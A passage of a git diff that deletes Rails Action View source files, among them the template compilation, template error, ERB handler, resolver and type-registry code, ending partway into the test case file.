- # <%= url_for(action: 'index', controller: 'users') %>
- # # Assuming an "admin" namespace
- # # => /admin/users
- #
- # <%= url_for(action: 'index', controller: '/users') %>
- # # Specify absolute path with beginning slash
- # # => /users
- def url_for(options = nil)
- case options
- when String
- options
- when nil, Hash
- options ||= {}
- options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
- super
- when :back
- _back_url
- else
- polymorphic_path(options)
- end
- end
-
- def url_options #:nodoc:
- return super unless controller.respond_to?(:url_options)
- controller.url_options
- end
-
- def _routes_context #:nodoc:
- controller
- end
- protected :_routes_context
-
- def optimize_routes_generation? #:nodoc:
- controller.respond_to?(:optimize_routes_generation?, true) ?
- controller.optimize_routes_generation? : super
- end
- protected :optimize_routes_generation?
- end
-end
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
deleted file mode 100644
index aefc42be48..0000000000
--- a/actionpack/lib/action_view/template.rb
+++ /dev/null
@@ -1,340 +0,0 @@
-require 'active_support/core_ext/object/try'
-require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/deprecation'
-require 'thread'
-
-module ActionView
- # = Action View Template
- class Template
- extend ActiveSupport::Autoload
-
- # === Encodings in ActionView::Template
- #
- # ActionView::Template is one of a few sources of potential
- # encoding issues in Rails. This is because the source for
- # templates are usually read from disk, and Ruby (like most
- # encoding-aware programming languages) assumes that the
- # String retrieved through File IO is encoded in the
- # <tt>default_external</tt> encoding. In Rails, the default
- # <tt>default_external</tt> encoding is UTF-8.
- #
- # As a result, if a user saves their template as ISO-8859-1
- # (for instance, using a non-Unicode-aware text editor),
- # and uses characters outside of the ASCII range, their
- # users will see diamonds with question marks in them in
- # the browser.
- #
- # For the rest of this documentation, when we say "UTF-8",
- # we mean "UTF-8 or whatever the default_internal encoding
- # is set to". By default, it will be UTF-8.
- #
- # To mitigate this problem, we use a few strategies:
- # 1. If the source is not valid UTF-8, we raise an exception
- # when the template is compiled to alert the user
- # to the problem.
- # 2. The user can specify the encoding using Ruby-style
- # encoding comments in any template engine. If such
- # a comment is supplied, Rails will apply that encoding
- # to the resulting compiled source returned by the
- # template handler.
- # 3. In all cases, we transcode the resulting String to
- # the UTF-8.
- #
- # This means that other parts of Rails can always assume
- # that templates are encoded in UTF-8, even if the original
- # source of the template was not UTF-8.
- #
- # From a user's perspective, the easiest thing to do is
- # to save your templates as UTF-8. If you do this, you
- # do not need to do anything else for things to "just work".
- #
- # === Instructions for template handlers
- #
- # The easiest thing for you to do is to simply ignore
- # encodings. Rails will hand you the template source
- # as the default_internal (generally UTF-8), raising
- # an exception for the user before sending the template
- # to you if it could not determine the original encoding.
- #
- # For the greatest simplicity, you can support only
- # UTF-8 as the <tt>default_internal</tt>. This means
- # that from the perspective of your handler, the
- # entire pipeline is just UTF-8.
- #
- # === Advanced: Handlers with alternate metadata sources
- #
- # If you want to provide an alternate mechanism for
- # specifying encodings (like ERB does via <%# encoding: ... %>),
- # you may indicate that you will handle encodings yourself
- # by implementing <tt>self.handles_encoding?</tt>
- # on your handler.
- #
- # If you do, Rails will not try to encode the String
- # into the default_internal, passing you the unaltered
- # bytes tagged with the assumed encoding (from
- # default_external).
- #
- # In this case, make sure you return a String from
- # your handler encoded in the default_internal. Since
- # you are handling out-of-band metadata, you are
- # also responsible for alerting the user to any
- # problems with converting the user's data to
- # the <tt>default_internal</tt>.
- #
- # To do so, simply raise the raise +WrongEncodingError+
- # as follows:
- #
- # raise WrongEncodingError.new(
- # problematic_string,
- # expected_encoding
- # )
-
- eager_autoload do
- autoload :Error
- autoload :Handlers
- autoload :Text
- autoload :Types
- end
-
- extend Template::Handlers
-
- attr_accessor :locals, :formats, :virtual_path
-
- attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
-
- # This finalizer is needed (and exactly with a proc inside another proc)
- # otherwise templates leak in development.
- Finalizer = proc do |method_name, mod|
- proc do
- mod.module_eval do
- remove_possible_method method_name
- end
- end
- end
-
- def initialize(source, identifier, handler, details)
- format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
-
- @source = source
- @identifier = identifier
- @handler = handler
- @compiled = false
- @original_encoding = nil
- @locals = details[:locals] || []
- @virtual_path = details[:virtual_path]
- @updated_at = details[:updated_at] || Time.now
- @formats = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f }
- @compile_mutex = Mutex.new
- end
-
- # Returns if the underlying handler supports streaming. If so,
- # a streaming buffer *may* be passed when it start rendering.
- def supports_streaming?
- handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
- end
-
- # Render a template. If the template was not compiled yet, it is done
- # exactly before rendering.
- #
- # This method is instrumented as "!render_template.action_view". Notice that
- # we use a bang in this instrumentation because you don't want to
- # consume this in production. This is only slow if it's being listened to.
- def render(view, locals, buffer=nil, &block)
- ActiveSupport::Notifications.instrument("!render_template.action_view", :virtual_path => @virtual_path) do
- compile!(view)
- view.send(method_name, locals, buffer, &block)
- end
- rescue Exception => e
- handle_render_error(view, e)
- end
-
- def mime_type
- message = 'Template#mime_type is deprecated and will be removed in Rails 4.1. Please use type method instead.'
- ActiveSupport::Deprecation.warn message
- @mime_type ||= Mime::Type.lookup_by_extension(@formats.first.to_s) if @formats.first
- end
-
- def type
- @type ||= Types[@formats.first] if @formats.first
- end
-
- # Receives a view object and return a template similar to self by using @virtual_path.
- #
- # This method is useful if you have a template object but it does not contain its source
- # anymore since it was already compiled. In such cases, all you need to do is to call
- # refresh passing in the view object.
- #
- # Notice this method raises an error if the template to be refreshed does not have a
- # virtual path set (true just for inline templates).
- def refresh(view)
- raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
- lookup = view.lookup_context
- pieces = @virtual_path.split("/")
- name = pieces.pop
- partial = !!name.sub!(/^_/, "")
- lookup.disable_cache do
- lookup.find_template(name, [ pieces.join('/') ], partial, @locals)
- end
- end
-
- def inspect
- @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier
- end
-
- # This method is responsible for properly setting the encoding of the
- # source. Until this point, we assume that the source is BINARY data.
- # If no additional information is supplied, we assume the encoding is
- # the same as <tt>Encoding.default_external</tt>.
- #
- # The user can also specify the encoding via a comment on the first
- # line of the template (# encoding: NAME-OF-ENCODING). This will work
- # with any template engine, as we process out the encoding comment
- # before passing the source on to the template engine, leaving a
- # blank line in its stead.
- def encode!
- return unless source.encoding == Encoding::BINARY
-
- # Look for # encoding: *. If we find one, we'll encode the
- # String in that encoding, otherwise, we'll use the
- # default external encoding.
- if source.sub!(/\A#{ENCODING_FLAG}/, '')
- encoding = magic_encoding = $1
- else
- encoding = Encoding.default_external
- end
-
- # Tag the source with the default external encoding
- # or the encoding specified in the file
- source.force_encoding(encoding)
-
- # If the user didn't specify an encoding, and the handler
- # handles encodings, we simply pass the String as is to
- # the handler (with the default_external tag)
- if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
- source
- # Otherwise, if the String is valid in the encoding,
- # encode immediately to default_internal. This means
- # that if a handler doesn't handle encodings, it will
- # always get Strings in the default_internal
- elsif source.valid_encoding?
- source.encode!
- # Otherwise, since the String is invalid in the encoding
- # specified, raise an exception
- else
- raise WrongEncodingError.new(source, encoding)
- end
- end
-
- protected
-
- # Compile a template. This method ensures a template is compiled
- # just once and removes the source after it is compiled.
- def compile!(view) #:nodoc:
- return if @compiled
-
- # Templates can be used concurrently in threaded environments
- # so compilation and any instance variable modification must
- # be synchronized
- @compile_mutex.synchronize do
- # Any thread holding this lock will be compiling the template needed
- # by the threads waiting. So re-check the @compiled flag to avoid
- # re-compilation
- return if @compiled
-
- if view.is_a?(ActionView::CompiledTemplates)
- mod = ActionView::CompiledTemplates
- else
- mod = view.singleton_class
- end
-
- compile(view, mod)
-
- # Just discard the source if we have a virtual path. This
- # means we can get the template back.
- @source = nil if @virtual_path
- @compiled = true
- end
- end
-
- # Among other things, this method is responsible for properly setting
- # the encoding of the compiled template.
- #
- # If the template engine handles encodings, we send the encoded
- # String to the engine without further processing. This allows
- # the template engine to support additional mechanisms for
- # specifying the encoding. For instance, ERB supports <%# encoding: %>
- #
- # Otherwise, after we figure out the correct encoding, we then
- # encode the source into <tt>Encoding.default_internal</tt>.
- # In general, this means that templates will be UTF-8 inside of Rails,
- # regardless of the original source encoding.
- def compile(view, mod) #:nodoc:
- encode!
- method_name = self.method_name
- code = @handler.call(self)
-
- # Make sure that the resulting String to be evalled is in the
- # encoding of the code
- source = <<-end_src
- def #{method_name}(local_assigns, output_buffer)
- _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
- ensure
- @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
- end
- end_src
-
- # Make sure the source is in the encoding of the returned code
- source.force_encoding(code.encoding)
-
- # In case we get back a String from a handler that is not in
- # BINARY or the default_internal, encode it to the default_internal
- source.encode!
-
- # Now, validate that the source we got back from the template
- # handler is valid in the default_internal. This is for handlers
- # that handle encoding but screw up
- unless source.valid_encoding?
- raise WrongEncodingError.new(@source, Encoding.default_internal)
- end
-
- begin
- mod.module_eval(source, identifier, 0)
- ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
- rescue Exception => e # errors from template code
- if logger = (view && view.logger)
- logger.debug "ERROR: compiling #{method_name} RAISED #{e}"
- logger.debug "Function body: #{source}"
- logger.debug "Backtrace: #{e.backtrace.join("\n")}"
- end
-
- raise ActionView::Template::Error.new(self, e)
- end
- end
-
- def handle_render_error(view, e) #:nodoc:
- if e.is_a?(Template::Error)
- e.sub_template_of(self)
- raise e
- else
- template = self
- unless template.source
- template = refresh(view)
- template.encode!
- end
- raise Template::Error.new(template, e)
- end
- end
-
- def locals_code #:nodoc:
- @locals.map { |key| "#{key} = local_assigns[:#{key}];" }.join
- end
-
- def method_name #:nodoc:
- @method_name ||= "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}".gsub('-', "_")
- end
-
- def identifier_method_name #:nodoc:
- inspect.gsub(/[^a-z_]/, '_')
- end
- end
-end
diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb
deleted file mode 100644
index e00056781d..0000000000
--- a/actionpack/lib/action_view/template/error.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-require "active_support/core_ext/enumerable"
-
-module ActionView
- # = Action View Errors
- class ActionViewError < StandardError #:nodoc:
- end
-
- class EncodingError < StandardError #:nodoc:
- end
-
- class MissingRequestError < StandardError #:nodoc:
- end
-
- class WrongEncodingError < EncodingError #:nodoc:
- def initialize(string, encoding)
- @string, @encoding = string, encoding
- end
-
- def message
- @string.force_encoding("BINARY")
- "Your template was not saved as valid #{@encoding}. Please " \
- "either specify #{@encoding} as the encoding for your template " \
- "in your text editor, or mark the template with its " \
- "encoding by inserting the following as the first line " \
- "of the template:\n\n# encoding: <name of correct encoding>.\n\n" \
- "The source of your template was:\n\n#{@string}"
- end
- end
-
- class MissingTemplate < ActionViewError #:nodoc:
- attr_reader :path
-
- def initialize(paths, path, prefixes, partial, details, *)
- @path = path
- prefixes = Array(prefixes)
- template_type = if partial
- "partial"
- elsif path =~ /layouts/i
- 'layout'
- else
- 'template'
- end
-
- searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
-
- out = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
- out += paths.compact.map { |p| " * #{p.to_s.inspect}\n" }.join
- super out
- end
- end
-
- class Template
- # The Template::Error exception is raised when the compilation or rendering of the template
- # fails. This exception then gathers a bunch of intimate details and uses it to report a
- # precise exception message.
- class Error < ActionViewError #:nodoc:
- SOURCE_CODE_RADIUS = 3
-
- attr_reader :original_exception, :backtrace
-
- def initialize(template, original_exception)
- super(original_exception.message)
- @template, @original_exception = template, original_exception
- @sub_templates = nil
- @backtrace = original_exception.backtrace
- end
-
- def file_name
- @template.identifier
- end
-
- def sub_template_message
- if @sub_templates
- "Trace of template inclusion: " +
- @sub_templates.collect { |template| template.inspect }.join(", ")
- else
- ""
- end
- end
-
- def source_extract(indentation = 0)
- return unless num = line_number
- num = num.to_i
-
- source_code = @template.source.split("\n")
-
- start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
- end_on_line = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
-
- indent = end_on_line.to_s.size + indentation
- line_counter = start_on_line
- return unless source_code = source_code[start_on_line..end_on_line]
-
- source_code.sum do |line|
- line_counter += 1
- "%#{indent}s: %s\n" % [line_counter, line]
- end
- end
-
- def sub_template_of(template_path)
- @sub_templates ||= []
- @sub_templates << template_path
- end
-
- def line_number
- @line_number ||=
- if file_name
- regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
- $1 if message =~ regexp || backtrace.find { |line| line =~ regexp }
- end
- end
-
- def annoted_source_code
- source_extract(4)
- end
-
- private
-
- def source_location
- if line_number
- "on line ##{line_number} of "
- else
- 'in '
- end + file_name
- end
- end
- end
-
- TemplateError = Template::Error
-end
diff --git a/actionpack/lib/action_view/template/handlers.rb b/actionpack/lib/action_view/template/handlers.rb
deleted file mode 100644
index d9cddc0040..0000000000
--- a/actionpack/lib/action_view/template/handlers.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-module ActionView #:nodoc:
- # = Action View Template Handlers
- class Template
- module Handlers #:nodoc:
- autoload :ERB, 'action_view/template/handlers/erb'
- autoload :Builder, 'action_view/template/handlers/builder'
- autoload :Raw, 'action_view/template/handlers/raw'
-
- def self.extended(base)
- base.register_default_template_handler :erb, ERB.new
- base.register_template_handler :builder, Builder.new
- base.register_template_handler :raw, Raw.new
- base.register_template_handler :ruby, :source.to_proc
- end
-
- @@template_handlers = {}
- @@default_template_handlers = nil
-
- def self.extensions
- @@template_extensions ||= @@template_handlers.keys
- end
-
- # Register an object that knows how to handle template files with the given
- # extensions. This can be used to implement new template types.
- # The handler must respond to `:call`, which will be passed the template
- # and should return the rendered template as a String.
- def register_template_handler(*extensions, handler)
- raise(ArgumentError, "Extension is required") if extensions.empty?
- extensions.each do |extension|
- @@template_handlers[extension.to_sym] = handler
- end
- @@template_extensions = nil
- end
-
- def template_handler_extensions
- @@template_handlers.keys.map {|key| key.to_s }.sort
- end
-
- def registered_template_handler(extension)
- extension && @@template_handlers[extension.to_sym]
- end
-
- def register_default_template_handler(extension, klass)
- register_template_handler(extension, klass)
- @@default_template_handlers = klass
- end
-
- def handler_for_extension(extension)
- registered_template_handler(extension) || @@default_template_handlers
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/template/handlers/erb.rb b/actionpack/lib/action_view/template/handlers/erb.rb
deleted file mode 100644
index afbbece90f..0000000000
--- a/actionpack/lib/action_view/template/handlers/erb.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-require 'action_dispatch/http/mime_type'
-require 'erubis'
-
-module ActionView
- class Template
- module Handlers
- class Erubis < ::Erubis::Eruby
- def add_preamble(src)
- src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
- end
-
- def add_text(src, text)
- return if text.empty?
- src << "@output_buffer.safe_concat('" << escape_text(text) << "');"
- end
-
- # Erubis toggles <%= and <%== behavior when escaping is enabled.
- # We override to always treat <%== as escaped.
- def add_expr(src, code, indicator)
- case indicator
- when '=='
- add_expr_escaped(src, code)
- else
- super
- end
- end
-
- BLOCK_EXPR = /\s+(do|\{)(\s*\|[^|]*\|)?\s*\Z/
-
- def add_expr_literal(src, code)
- if code =~ BLOCK_EXPR
- src << '@output_buffer.append= ' << code
- else
- src << '@output_buffer.append= (' << code << ');'
- end
- end
-
- def add_expr_escaped(src, code)
- if code =~ BLOCK_EXPR
- src << "@output_buffer.safe_append= " << code
- else
- src << "@output_buffer.safe_concat((" << code << ").to_s);"
- end
- end
-
- def add_postamble(src)
- src << '@output_buffer.to_s'
- end
- end
-
- class ERB
- # Specify trim mode for the ERB compiler. Defaults to '-'.
- # See ERB documentation for suitable values.
- class_attribute :erb_trim_mode
- self.erb_trim_mode = '-'
-
- # Default implementation used.
- class_attribute :erb_implementation
- self.erb_implementation = Erubis
-
- # Do not escape templates of these mime types.
- class_attribute :escape_whitelist
- self.escape_whitelist = ["text/plain"]
-
- ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
-
- def self.call(template)
- new.call(template)
- end
-
- def supports_streaming?
- true
- end
-
- def handles_encoding?
- true
- end
-
- def call(template)
- # First, convert to BINARY, so in case the encoding is
- # wrong, we can still find an encoding tag
- # (<%# encoding %>) inside the String using a regular
- # expression
- template_source = template.source.dup.force_encoding("BINARY")
-
- erb = template_source.gsub(ENCODING_TAG, '')
- encoding = $2
-
- erb.force_encoding valid_encoding(template.source.dup, encoding)
-
- # Always make sure we return a String in the default_internal
- erb.encode!
-
- self.class.erb_implementation.new(
- erb,
- :escape => (self.class.escape_whitelist.include? template.type),
- :trim => (self.class.erb_trim_mode == "-")
- ).src
- end
-
- private
-
- def valid_encoding(string, encoding)
- # If a magic encoding comment was found, tag the
- # String with this encoding. This is for a case
- # where the original String was assumed to be,
- # for instance, UTF-8, but a magic comment
- # proved otherwise
- string.force_encoding(encoding) if encoding
-
- # If the String is valid, return the encoding we found
- return string.encoding if string.valid_encoding?
-
- # Otherwise, raise an exception
- raise WrongEncodingError.new(string, string.encoding)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/template/handlers/raw.rb b/actionpack/lib/action_view/template/handlers/raw.rb
deleted file mode 100644
index 0c0d1fffcb..0000000000
--- a/actionpack/lib/action_view/template/handlers/raw.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module ActionView
- module Template::Handlers
- class Raw
- def call(template)
- escaped = template.source.gsub(':', '\:')
-
- '%q:' + escaped + ':;'
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb
deleted file mode 100644
index fc77c1485d..0000000000
--- a/actionpack/lib/action_view/template/resolver.rb
+++ /dev/null
@@ -1,327 +0,0 @@
-require "pathname"
-require "active_support/core_ext/class"
-require "active_support/core_ext/class/attribute_accessors"
-require "action_view/template"
-require "thread"
-require "mutex_m"
-
-module ActionView
- # = Action View Resolver
- class Resolver
- # Keeps all information about view path and builds virtual path.
- class Path
- attr_reader :name, :prefix, :partial, :virtual
- alias_method :partial?, :partial
-
- def self.build(name, prefix, partial)
- virtual = ""
- virtual << "#{prefix}/" unless prefix.empty?
- virtual << (partial ? "_#{name}" : name)
- new name, prefix, partial, virtual
- end
-
- def initialize(name, prefix, partial, virtual)
- @name = name
- @prefix = prefix
- @partial = partial
- @virtual = virtual
- end
-
- def to_str
- @virtual
- end
- alias :to_s :to_str
- end
-
- # Threadsafe template cache
- class Cache #:nodoc:
- class CacheEntry
- include Mutex_m
-
- attr_accessor :templates
- end
-
- def initialize
- @data = Hash.new { |h1,k1| h1[k1] = Hash.new { |h2,k2|
- h2[k2] = Hash.new { |h3,k3| h3[k3] = Hash.new { |h4,k4| h4[k4] = {} } } } }
- @mutex = Mutex.new
- end
-
- # Cache the templates returned by the block
- def cache(key, name, prefix, partial, locals)
- cache_entry = nil
-
- # first obtain a lock on the main data structure to create the cache entry
- @mutex.synchronize do
- cache_entry = @data[key][name][prefix][partial][locals] ||= CacheEntry.new
- end
-
- # then to avoid a long lasting global lock, obtain a more granular lock
- # on the CacheEntry itself
- cache_entry.synchronize do
- if Resolver.caching?
- cache_entry.templates ||= yield
- else
- fresh_templates = yield
-
- if templates_have_changed?(cache_entry.templates, fresh_templates)
- cache_entry.templates = fresh_templates
- else
- cache_entry.templates ||= []
- end
- end
- end
- end
-
- def clear
- @mutex.synchronize do
- @data.clear
- end
- end
-
- private
-
- def templates_have_changed?(cached_templates, fresh_templates)
- # if either the old or new template list is empty, we don't need to (and can't)
- # compare modification times, and instead just check whether the lists are different
- if cached_templates.blank? || fresh_templates.blank?
- return fresh_templates.blank? != cached_templates.blank?
- end
-
- cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
-
- # if a template has changed, it will be now be newer than all the cached templates
- fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
- end
- end
-
- cattr_accessor :caching
- self.caching = true
-
- class << self
- alias :caching? :caching
- end
-
- def initialize
- @cache = Cache.new
- end
-
- def clear_cache
- @cache.clear
- end
-
- # Normalizes the arguments and passes it on to find_template.
- def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
- cached(key, [name, prefix, partial], details, locals) do
- find_templates(name, prefix, partial, details)
- end
- end
-
- private
-
- delegate :caching?, :to => "self.class"
-
- # This is what child classes implement. No defaults are needed
- # because Resolver guarantees that the arguments are present and
- # normalized.
- def find_templates(name, prefix, partial, details)
- raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details) method"
- end
-
- # Helpers that builds a path. Useful for building virtual paths.
- def build_path(name, prefix, partial)
- Path.build(name, prefix, partial)
- end
-
- # Handles templates caching. If a key is given and caching is on
- # always check the cache before hitting the resolver. Otherwise,
- # it always hits the resolver but if the key is present, check if the
- # resolver is fresher before returning it.
- def cached(key, path_info, details, locals) #:nodoc:
- name, prefix, partial = path_info
- locals = locals.map { |x| x.to_s }.sort!
-
- if key
- @cache.cache(key, name, prefix, partial, locals) do
- decorate(yield, path_info, details, locals)
- end
- else
- decorate(yield, path_info, details, locals)
- end
- end
-
- # Ensures all the resolver information is set in the template.
- def decorate(templates, path_info, details, locals) #:nodoc:
- cached = nil
- templates.each do |t|
- t.locals = locals
- t.formats = details[:formats] || [:html] if t.formats.empty?
- t.virtual_path ||= (cached ||= build_path(*path_info))
- end
- end
- end
-
- # An abstract class that implements a Resolver with path semantics.
- class PathResolver < Resolver #:nodoc:
- EXTENSIONS = [:locale, :formats, :handlers]
- DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
-
- def initialize(pattern=nil)
- @pattern = pattern || DEFAULT_PATTERN
- super()
- end
-
- private
-
- def find_templates(name, prefix, partial, details)
- path = Path.build(name, prefix, partial)
- query(path, details, details[:formats])
- end
-
- def query(path, details, formats)
- query = build_query(path, details)
-
- # deals with case-insensitive file systems.
- sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
-
- template_paths = Dir[query].reject { |filename|
- File.directory?(filename) ||
- !sanitizer[File.dirname(filename)].include?(filename)
- }
-
- template_paths.map { |template|
- handler, format = extract_handler_and_format(template, formats)
- contents = File.binread template
-
- Template.new(contents, File.expand_path(template), handler,
- :virtual_path => path.virtual,
- :format => format,
- :updated_at => mtime(template))
- }
- end
-
- # Helper for building query glob string based on resolver's pattern.
- def build_query(path, details)
- query = @pattern.dup
-
- prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
- query.gsub!(/\:prefix(\/)?/, prefix)
-
- partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
- query.gsub!(/\:action/, partial)
-
- details.each do |ext, variants|
- query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}")
- end
-
- File.expand_path(query, @path)
- end
-
- def escape_entry(entry)
- entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
- end
-
- # Returns the file mtime from the filesystem.
- def mtime(p)
- File.mtime(p)
- end
-
- # Extract handler and formats from path. If a format cannot be a found neither
- # from the path, or the handler, we should return the array of formats given
- # to the resolver.
- def extract_handler_and_format(path, default_formats)
- pieces = File.basename(path).split(".")
- pieces.shift
-
- extension = pieces.pop
- unless extension
- message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
- "but will change to RAW in the future."
- ActiveSupport::Deprecation.warn message
- end
-
- handler = Template.handler_for_extension(extension)
- format = pieces.last && Template::Types[pieces.last]
- [handler, format]
- end
- end
-
- # A resolver that loads files from the filesystem. It allows setting your own
- # resolving pattern. Such pattern can be a glob string supported by some variables.
- #
- # ==== Examples
- #
- # Default pattern, loads views the same way as previous versions of rails, eg. when you're
- # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
- #
- # FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}")
- #
- # This one allows you to keep files with different formats in seperated subdirectories,
- # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
- # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
- #
- # FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
- #
- # If you don't specify a pattern then the default will be used.
- #
- # In order to use any of the customized resolvers above in a Rails application, you just need
- # to configure ActionController::Base.view_paths in an initializer, for example:
- #
- # ActionController::Base.view_paths = FileSystemResolver.new(
- # Rails.root.join("app/views"),
- # ":prefix{/:locale}/:action{.:formats,}{.:handlers,}"
- # )
- #
- # ==== Pattern format and variables
- #
- # Pattern has to be a valid glob string, and it allows you to use the
- # following variables:
- #
- # * <tt>:prefix</tt> - usually the controller path
- # * <tt>:action</tt> - name of the action
- # * <tt>:locale</tt> - possible locale versions
- # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
- # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
- #
- class FileSystemResolver < PathResolver
- def initialize(path, pattern=nil)
- raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
- super(pattern)
- @path = File.expand_path(path)
- end
-
- def to_s
- @path.to_s
- end
- alias :to_path :to_s
-
- def eql?(resolver)
- self.class.equal?(resolver.class) && to_path == resolver.to_path
- end
- alias :== :eql?
- end
-
- # An Optimized resolver for Rails' most common case.
- class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
- def build_query(path, details)
- exts = EXTENSIONS.map { |ext| details[ext] }
- query = escape_entry(File.join(@path, path))
-
- query + exts.map { |ext|
- "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
- }.join
- end
- end
-
- # The same as FileSystemResolver but does not allow templates to store
- # a virtual path since it is invalid for such resolvers.
- class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
- def self.instances
- [new(""), new("/")]
- end
-
- def decorate(*)
- super.each { |t| t.virtual_path = nil }
- end
- end
-end
diff --git a/actionpack/lib/action_view/template/text.rb b/actionpack/lib/action_view/template/text.rb
deleted file mode 100644
index 859c7bc3ce..0000000000
--- a/actionpack/lib/action_view/template/text.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module ActionView #:nodoc:
- # = Action View Text Template
- class Template
- class Text #:nodoc:
- attr_accessor :type
-
- def initialize(string, type = nil)
- @string = string.to_s
- @type = Types[type] || type if type
- @type ||= Types[:text]
- end
-
- def identifier
- 'text template'
- end
-
- def inspect
- 'text template'
- end
-
- def to_str
- @string
- end
-
- def render(*args)
- to_str
- end
-
- def formats
- [@type.to_sym]
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/template/types.rb b/actionpack/lib/action_view/template/types.rb
deleted file mode 100644
index 7611c9e708..0000000000
--- a/actionpack/lib/action_view/template/types.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/object/blank'
-
-module ActionView
- class Template
- class Types
- class Type
- cattr_accessor :types
- self.types = Set.new
-
- def self.register(*t)
- types.merge(t.map { |type| type.to_s })
- end
-
- register :html, :text, :js, :css, :xml, :json
-
- def self.[](type)
- return type if type.is_a?(self)
-
- if type.is_a?(Symbol) || types.member?(type.to_s)
- new(type)
- end
- end
-
- attr_reader :symbol
-
- def initialize(symbol)
- @symbol = symbol.to_sym
- end
-
- delegate :to_s, :to_sym, :to => :symbol
- alias to_str to_s
-
- def ref
- to_sym || to_s
- end
-
- def ==(type)
- return false if type.blank?
- symbol.to_sym == type.to_sym
- end
- end
-
- cattr_accessor :type_klass
-
- def self.delegate_to(klass)
- self.type_klass = klass
- end
-
- delegate_to Type
-
- def self.[](type)
- type_klass[type]
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
deleted file mode 100644
index a548b44780..0000000000
--- a/actionpack/lib/action_view/test_case.rb
+++ /dev/null
@@ -1,268 +0,0 @@
-require 'active_support/core_ext/module/remove_method'
-require 'action_controller'
-require 'action_controller/test_case'
-require 'action_view'
-
-module ActionView
- # = Action View Test Case
- class TestCase < ActiveSupport::TestCase
- class TestController < ActionController::Base
- include ActionDispatch::TestProcess
-
- attr_accessor :request, :response, :params
-
- class << self
- attr_writer :controller_path
- end
-
- def controller_path=(path)
- self.class.controller_path=(path)
- end
-
- def initialize
- super
- self.class.controller_path = ""
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
-
- @request.env.delete('PATH_INFO')
- @params = {}
- end
- end
-
- # Use AV::TestCase for the base class for helpers and views
- register_spec_type(/(Helper|View)( ?Test)?\z/i, self)
-
- module Behavior
- extend ActiveSupport::Concern
-
- include ActionDispatch::Assertions, ActionDispatch::TestProcess
- include ActionController::TemplateAssertions
- include ActionView::Context
-
- include ActionDispatch::Routing::PolymorphicRoutes
-
- include AbstractController::Helpers
- include ActionView::Helpers
- include ActionView::RecordIdentifier
- include ActionView::RoutingUrlFor
-
- include ActiveSupport::Testing::ConstantLookup
-
- delegate :lookup_context, :to => :controller
- attr_accessor :controller, :output_buffer, :rendered
-
- module ClassMethods
- def tests(helper_class)
- case helper_class
- when String, Symbol
- self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
- when Module
- self.helper_class = helper_class
- end
- end
-
- def determine_default_helper_class(name)
- determine_constant_from_test_name(name) do |constant|
- Module === constant && !(Class === constant)
- end
- end
-
- def helper_method(*methods)
- # Almost a duplicate from ActionController::Helpers
- methods.flatten.each do |method|
- _helpers.module_eval <<-end_eval
- def #{method}(*args, &block) # def current_user(*args, &block)
